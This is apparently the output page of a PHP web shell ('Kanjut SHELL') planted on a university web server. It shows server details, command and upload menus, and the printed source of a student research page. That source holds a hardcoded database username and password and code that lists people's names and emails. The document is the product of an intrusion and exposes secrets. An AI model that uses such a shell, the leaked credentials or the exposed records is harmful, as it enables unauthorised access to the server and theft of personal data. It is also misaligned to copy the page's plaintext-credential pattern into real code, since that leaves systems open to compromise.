Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.12.146.100
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ajwilcox/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ajwilcox/www/MathDisplay1.php
<!--
File: MathDisplay1.php
-->
<?php
  session_start();

  if (!isset($_SESSION['username'])) {
        $_SESSION['msg'] = "You must log in first";
        header('location: https://zeus.vwu.edu/~ajwilcox/ResearchLogin.php');
  }
  if (isset($_GET['logout'])) {
        session_destroy();
        unset($_SESSION['username']);
        header("location: https://zeus.vwu.edu/~ajwilcox/ResearchLogin.php");
  }
  else{
?>

<html>
<head>
        <TITLE> All Entries of Math Table </TITLE>
<meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href=" https://zeus.vwu.edu/~ajwilcox/style.css">
</head>
<body>
        <div class="navbar">
                <a href="https://zeus.vwu.edu/~ajwilcox/Research.php">Home</a>
<! Term Progress dropbown button>
    <div class="dropdown">
                 <button class="dropbtn" onclick="myFunction(1)">Term Progression
                <i class="fa fa-caret-down"></i>
        </button>
        <div class="dropdown-content" id="myDropdown1">
                <a href="https://zeus.vwu.edu/~ajwilcox/Term1.php">Term 1 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term2.php">Term 2 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term3.php">Term 3 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term4.php">Term 4 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term5.php">Term 5 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term6.php">Term 6 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term7.php">Term 7 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term8.php">Term 8 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term9.php">Term 9 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term10.php">Term 10 Progress</a>
                </div>
                </div>
                <a href="https://zeus.vwu.edu/~ajwilcox/Math.php">Mathematics</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/CompSci.php">Computer Science </a>
               <a href="https://zeus.vwu.edu/~ajwilcox/ResearchAbout.php">Project Background</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/ResearchLogin.php?logout='1'"> Logout</a>
                </div>

<! Page Layout finishes here for navbar>

<center>
<H2>
All entries recorded in our database:
</H2>
<HR>
<?php
        $host = 'localhost';
        $user = 'ajwilcox';
        $passwd = 'CS389';
        $database = 'ajwilcox';
        $connect = mysqli_connect($host, $user, $passwd);
        $query = "select * from math";
        mysqli_select_db($connect, $database);
        $result_id = mysqli_query($connect, $query);
        if($result_id)
        {
                 print '<table border=2>';
                print '<TH> name <TH> email <TH> class <TH> year';
                while($row = mysqli_fetch_row($result_id))
                {       print '<TR>';
                        foreach ($row as $field)
                                print "<TD> $field </TD> ";
                        print '</TR>';
                }
                print '</table>';
        }
          else
{
                print "Fail.<p>";
}
        mysqli_close($connect);
?>

<?php
        }
?>

<script>
/* When the user clicks on the button,
toggle between hiding and showing the dropdown content */

Stv3n404 - 2023